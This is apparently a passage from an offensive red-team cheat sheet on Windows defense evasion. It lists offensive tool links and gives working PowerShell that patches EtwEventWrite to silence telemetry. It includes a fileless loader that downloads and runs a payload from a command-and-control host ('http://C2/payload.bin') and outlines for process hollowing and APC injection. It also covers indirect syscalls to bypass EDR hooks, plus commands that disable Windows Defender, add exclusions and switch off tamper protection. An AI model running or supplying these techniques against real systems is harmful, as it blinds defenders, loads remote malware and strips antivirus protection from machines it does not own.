- PowerSploit: https://github.com/PowerShellMafia/PowerSploit
- Nishang: https://github.com/samratashok/nishang
- PEzor Packer: https://github.com/phra/PEzor

### Research and Reading

- MDSec AMSI Research: https://www.mdsec.co.uk/2018/06/exploring-powershell-amsi-and-logging-evasion/
- Red Team Notes (AMSI): https://www.ired.team/offensive-security/defense-evasion/amsi-bypass-alternatives
- Offensive Security Living Off the Land: https://www.offensive-security.com/offsec/living-off-the-land/
- F-Secure ETW Patching: https://blog.f-secure.com/hunting-for-amsi-bypasses/
- Process Injection Techniques Survey: https://github.com/D4stiny/spectre
- Timestomping Forensics (Blanche): https://github.com/jipegit/OSXAuditor
- SwiftOnSecurity Sysmon Config: https://github.com/SwiftOnSecurity/sysmon-config
- Eventlogedit-evtx: https://github.com/3gstudent/Eventlogedit-evtx--Evolution

---

## ETW (Event Tracing for Windows) Patching

ETW feeds data to Windows Defender, SIEM, and EDR tools. Patching ETW stops telemetry from reaching security tools.

```powershell
# Patch ETW in current PowerShell process
$Signature = @'
[DllImport("kernel32.dll")]
public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
[DllImport("kernel32.dll")]
public static extern IntPtr GetModuleHandle(string lpModuleName);
[DllImport("kernel32.dll")]
public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);
'@
$Win32 = Add-Type -MemberDefinition $Signature -Name "Win32" -Namespace "Win32Functions" -PassThru
$ntdll = $Win32::GetModuleHandle("ntdll.dll")
$addr  = $Win32::GetProcAddress($ntdll, "EtwEventWrite")
$p = 0
$Win32::VirtualProtect($addr, [uint32]4, 0x40, [ref]$p)
$patch = [byte[]](0xC3)  # RET — function returns immediately
[System.Runtime.InteropServices.Marshal]::Copy($patch, 0, $addr, 1)
# Now ETW events from this process are suppressed
```

---

## Sysmon Evasion

Sysmon logs: Event 1 (process create), Event 3 (network), Event 11 (file write). Most blue teams rely on Sysmon.

```powershell
# Detect Sysmon
Get-Process sysmon64 -ErrorAction SilentlyContinue
fltMC  # SysmonDrv appears in filter driver list

# Dump config to understand what's monitored
sysmon64 -c

# PPID spoofing — spawn payload from excluded parent (e.g., explorer.exe)
# Most Sysmon configs exclude Microsoft-signed processes as parent
# Use CreateProcess with UpdateProcThreadAttribute(PROC_THREAD_ATTRIBUTE_PARENT_PROCESS)

# Fileless to avoid Event 11 (file creation)
$bytes = (New-Object Net.WebClient).DownloadData("http://C2/payload.bin")
$asm = [Reflection.Assembly]::Load($bytes)
$asm.EntryPoint.Invoke($null, $null)
```

---

## Advanced Process Injection

### Classic DLL Injection
```
1. OpenProcess(target PID)
2. VirtualAllocEx → allocate memory in target
3. WriteProcessMemory → write DLL path
4. CreateRemoteThread(LoadLibraryA, dll_path_ptr)
```

### Process Hollowing
```
1. CreateProcess(svchost.exe, SUSPENDED)
2. NtUnmapViewOfSection → remove original code
3. VirtualAllocEx + WriteProcessMemory → inject payload
4. SetThreadContext(RIP = payload entry)
5. ResumeThread → payload runs as svchost
```

### Early Bird APC Injection (EDR evasion — runs before hooks)
```
1. CreateProcess(target.exe, SUSPENDED)
2. VirtualAllocEx + WriteProcessMemory (shellcode)
3. QueueUserAPC(shellcode_addr, suspended_thread)
4. ResumeThread → APC runs before EDR hooks initialize
Tools: github.com/xuanxuan0/EarlyBird
```

### Indirect Syscalls (Bypass NTDLL hooks)
```bash
# EDRs hook NtAllocateVirtualMemory, NtCreateThread in NTDLL
# Indirect syscalls: call syscall number directly, skip NTDLL

git clone https://github.com/klezVirus/SysWhispers3
python3 syswhispers.py --preset all -o syscalls
# Generates stubs that invoke syscalls without touching hooked NTDLL

# HellsGate: dynamically find SSNs at runtime
git clone https://github.com/am0nsec/HellsGate
```

---

## Disable Windows Defender (When Admin)

```powershell
# Disable real-time protection
Set-MpPreference -DisableRealtimeMonitoring $true

# Add exclusion (more subtle)
Add-MpPreference -ExclusionPath "C:\Windows\Temp"
Add-MpPreference -ExclusionProcess "powershell.exe"

# Stop service (requires SYSTEM + Tamper Protection off)
Stop-Service WinDefend -Force
Set-Service WinDefend -StartupType Disabled

# Tamper protection via registry (requires SYSTEM + no MDM)
reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Features" /v TamperProtection /t REG_DWORD /d 0 /f
```

---
